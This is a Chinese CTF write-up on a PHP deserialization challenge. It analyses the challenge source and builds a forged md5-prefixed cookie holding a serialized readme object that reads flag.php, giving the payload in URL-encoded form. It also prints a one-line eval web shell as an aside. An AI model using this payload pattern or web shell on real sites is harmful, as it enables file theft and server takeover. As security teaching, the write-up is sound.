一、源码分析
首先看源代码:
<?php
Class readme{
public function __toString()
{
return highlight_file('Readme.txt', true).highlight_file($this->source, true);
}
}
if(isset($_GET['source'])){
$s = new readme();
$s->source = __FILE__;
echo $s;
exit;
}
//$todos = [];
if(isset($_COOKIE['todos'])){
$c = $_COOKIE['todos'];
$h = substr($c, 0, 32);
$m = substr($c, 32);
if(md5($m) === $h){
$todos = unserialize($m);
}
}
if(isset($_POST['text'])){
$todo = $_POST['text'];
$todos[] = $todo;
$m = serialize($todos);
$h = md5($m);
setcookie('todos', $h.$m);
header('Location: '.$_SERVER['REQUEST_URI']);
exit;
}
?>
<html>
<head>
</head>
<h1>Readme</h1>
<a href="?source"><h2>Check Code</h2></a>
<ul>
<?php foreach($todos as $todo):?>
<li><?=$todo?></li>
<?php endforeach;?>
</ul>
<form method="post" href=".">
<textarea name="text"></textarea>
<input type="submit" value="store">
</form>
分析源代码:
从源码中看到,定义了一个类,名称为readme
。readme
中使用了__toString()
函数,这个函数是PHP中几个常见的魔术方法之一(魔术方法指的是满足一定条件会自动触发的函数),该方法当有对象被当做字符串输出时就会自动触发。注意这里指的是把类实例化后的对象,而不是变量。
源码第三行中的highlight_file()
函数的语法为:
highlight_file(filename,return)
该函数是对文件内容进行语法高亮显示,这里的return如果该为true,则函数会返回高亮处理后的代码。
接着看下面的代码:
这表示如果对source参数进行了GET传参,就会将readme这个类实例化出一个对象,为$s
该对象会调用source方法并赋值为该脚本的绝对路径。下一行的echo $s
表示将该对象当成字符串输出,这意味着前面的__toString
函数将自动触发。
看到末尾有个exit,这意味着代码执行到这里时就会停止执行,这意味着__FILE__
将无法改为指定的值,也就是该参数不可控。
接着看cookie传参部分的代码:
看到其中出现了一个substr()函数为,该函数的语法为:
substr(string,start,length)
这里start参数表示字符串切割的起始位置,是必填参数,length参数是可选的,默认为切割至字符串的末尾。
因此这里代码就很好理解了:
substr($c, 0, 32); \\表示截取字符串c的前32位(包括第32位),
substr($c, 32);\\表示截取字符串的第32位后的全部(不包括第32位)。
结合后面的if中的条件,这里可以得出结论:
传入的cookie参数的字符串是由$h
和$m
组成,而$h
实际上就是$m
经过md5加密后的值。
再看下面POST传参中的代码,实际上这段代码的含义是读取用户通过POST传参传递给text参数的字符串,然后对其进行序列化后,一部分进行md5加密,另一部分保持不变,再组合成新的字符串,并设置为cookie参数,参数名为todos。
最后是设置header的location参数,用预定义变量获取URI(统一资源标识符)。
再看页面上的输出点:
<?php foreach($todos as $todo):?>
<li><?=$todo?></li>
//键值分离,并输出$todo的值
这里涉及了php的一种特殊写法,例如常见的一句话木马的写法一般是这么写:
<?php eval($_REQUEST[8])?>
实际上也可以这么写:
<?=eval($_REQUEST[8])?>
这里如果是函数,则=号会自动转换为php,而如果是变量,则会输出这个变量的值,例如:
<?=$a=1?> //相当于<?php echo $a=1 ?>
执行后会输出1。
二、传参分析
通过对靶场的源码分析,了解了源代码的基本内容和含义,
可以确定这里的GET和POST方法均为干扰选项,因此应重点看cookie传参的源码。
接下来考虑如何进行传参以访问flag.php文件。
根据靶场的源代码,如果能将$source
的值改为’flag.php’即可输出flag.php的内容。
现在需要完成两个步骤,分别是寻找反序列化函数和输出点。
反序列函数所在的位置需要进行cookie传参才能访问到。会将对象当成字符串输出的点有两个,一个是GET传参中的echo,还有一个则是页面上的输出点。很显然,GET传参部分的代码中有exit,因此无法运行到后面的代码,也就无法获取cookie传参,无法被利用。因此这里需要从页面上的输出点入手。
通过分析源代码,我们传入的参数需要经过反序列化函数处理,输出点是foreach函数,而foreach函数里的$todos
必须是数组,因此这里需要将传参进行序列化,并以数组的形式传进去。
将部分源代码复制,到本地修改部分代码,因为要访问的是flag.php
,并且需要将数据序列化,因此修改代码如图所示:
<?PHP
Class readme{
public function __toString()
{
return highlight_file('Readme.txt', true).highlight_file($this->source, true);
}
}
$s = new readme();
$s -> source ='flag.php';
$s=[$s];
/*
这里要注意,使用[]来定义短数组的方法只有在PHP版本>=5.4时才能用,否则需要用array()函数来定义数组
*/
echo serialize($s);
exit;
?>
最后输出:
a:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}}
现在还需要分析如何让反序列化函数执行我们传入的参数,看源代码:
if(isset($_COOKIE['todos'])){
$c = $_COOKIE['todos'];
$h = substr($c, 0, 32);
$m = substr($c, 32);
if(md5($m) === $h){
$todos = unserialize($m);
}
传参需要以cookie的形式传入,且会经过字符串处理函数进行切割。输入的参数由$c
接收,该参数会被分割为$h
和$m
,而$h
实际上就是$m
经过md5加密后的值。
所以总结下来,要满足本题的条件,三个变量的值应当分别如下:
$h=e2d4f7dcc43ee1db7f69e76303d0105c
$m=a:1:{
i:0;O:6:"readme":1:{
s:6:"source";s:8:"flag.php";}}
$c=e2d4f7dcc43ee1db7f69e76303d0105ca:1:{
i:0;O:6:"readme":1:{
s:6:"source";s:8:"flag.php";}}
因此这里只要用$c
的值对todos参数进行cookie传参即可获得flag的值。
要进行cookie传参,有多种方法,可以通过插件、控制台、或者抓包工具。
如果用抓包的方式传参需要进行一次URL编码,这里采用burp来传参,先对传参进行一次URL编码:
e2d4f7dcc43ee1db7f69e76303d0105ca%3A1%3A%7Bi%3A0%3BO%3A6%3A%22readme%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D
然后抓包传参即可。
三、小结
本文分享了一道反序列化的CTF题,并详细分析了源码和传参的设置,希望对大家学习渗透测试有帮助。